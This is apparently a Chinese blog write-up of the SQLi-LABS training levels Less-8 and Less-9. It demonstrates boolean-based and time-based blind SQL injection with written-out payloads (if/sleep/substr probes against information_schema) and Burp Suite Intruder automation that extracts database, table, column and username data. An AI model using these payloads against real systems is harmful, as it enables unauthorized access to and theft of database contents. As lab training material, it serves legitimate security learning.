【SQLi-LABS】Less-8、Less9 Blind- Boolean/Time based- Single Quotes- String解题记录

7 篇文章 0 订阅
4 篇文章 1 订阅

SQLi-LABS Less-8 Blind- Boolean- Single Quotes- String

使用布尔盲注解决

这一题见题知意,布尔盲注-单引号,没有太多内容可以讲。
与前面不同的是,这一关中输入的值不正确时会不显示任何的反馈,不过输入正确时会有You are in…的反馈,可以直接使用布尔盲注。
闭合字符是单引号,判断过程可以参考我以前的帖子。
输入正确时:
在这里插入图片描述
输入错误时:
在这里插入图片描述

SQLi-LABS Less-9 Blind- Time based- Single Quotes- String

这一关中,无论我们的输入是正确还是错误,都会返回You are in…,布尔盲注用于true和false两种情况时网页分别有不同反应的时候, 而这道题中,两种情况都是一样的反应 ,这时候就需要用到延时盲注 了。
在这里插入图片描述

时间盲注

时间注入和布尔盲注没有太多的差别,既然true和false都不会有页面上的反应,那么我们手动加一些参数,让页面上有一些反应使两种情况区分开就好。
时间盲注使用了if函数和sleep()函数来实现这个想法。if(a,sleep(10),1) 如果a结果是真,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。

1.判断闭合字符

我们可以通过时间盲注来判断闭合字符,使用时间盲注相比于直接使用布尔盲注会更加耗时。

?id=1' and sleep(1)--+

使用双引号、单引号、括号进行尝试,发现唯有id=1'时回应是1秒以上,这说明当后面是单引号时这个语句变得完整了,单引号就是这一关的闭合字符。
在这里插入图片描述

2.注入逻辑

接下来的注入和布尔盲注基本没什么区别,通过是否有延时来证明返回值为true或false。

?id=1' and if((database()='security'),sleep(1),1)-- +

在这里插入图片描述
盲注遍历字符爆数据库名

?id=1' and if(substr((select schema_name from information_schema.schemata limit 0,1),1,1)='i',sleep(1),1)-- +

在这里插入图片描述

3.使用burpsuit进行时间盲注
3.1爆数据库名长度

浏览器中,在注入点写入sql注入语句,访问网址,使用burpsuit抓包。
在这里插入图片描述

此处sql注入语句若未转码,服务器会读取不了,从而盲注失败!
作者注: 原先我想先抓包,然后在burpsuit中写sql注入语句,之后使用burpsuit的转码功能进行转码以达到同样效果,不过burpsuit内置的转码似乎与浏览器直接传过来的转码有一点区别,最后只好在浏览器把注入语句写好再进行抓包。
(左:浏览器传来可以被服务器正确读取的转码,右:burpsuit自带的转码)
在这里插入图片描述

发送到intruder,添加payload位置。
在这里插入图片描述

配置payload类型为数值,可以将to设置得大一些,毕竟不排除有的数据库名大于10的情况。
在这里插入图片描述
然后点击攻击,在弹出的弹窗中,将“列”选项卡的“接收到响应、响应完成”分别打开,用以查看响应时间。
在这里插入图片描述
将结果以“接收到响应”排列,可以看到,排在第一位的就是我们需要的盲注结果,说明了我们的目标数据库名是8位字符。
在这里插入图片描述

3.2爆数据库名

同理,爆数据库名。

?id=1' and if(substr(database(),1,1)='a',sleep(1),1)-- +

在这里插入图片描述
得出获得数据库名字符,按照payload1给的顺序排列,得出数据库名为“security”。
在这里插入图片描述

3.3爆表名
?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(3),1)-- +

在这里插入图片描述
作者的话: 可以将结果选中然后保存到结果表,使用excel打开并排序,(也许…)可以省去手动排序的时间
在这里插入图片描述

在这里插入图片描述

3.4爆字段名
?id=1' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='e',sleep(3),1)--+

在这里插入图片描述

获得表users的字段名为id,username,password。
在这里插入图片描述

3.5爆字段内容
?id=1' and if(substr((select group_concat(username) from users),1,1)='e',sleep(2),1)--+

获取到username如下。
在这里插入图片描述

3.6总结

使用burpsuit可以进行时间盲注,同样地也可以进行布尔盲注,布尔盲注中重在找到正确的成功标志,时间盲注中重在使用正确的时间盲注代码

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值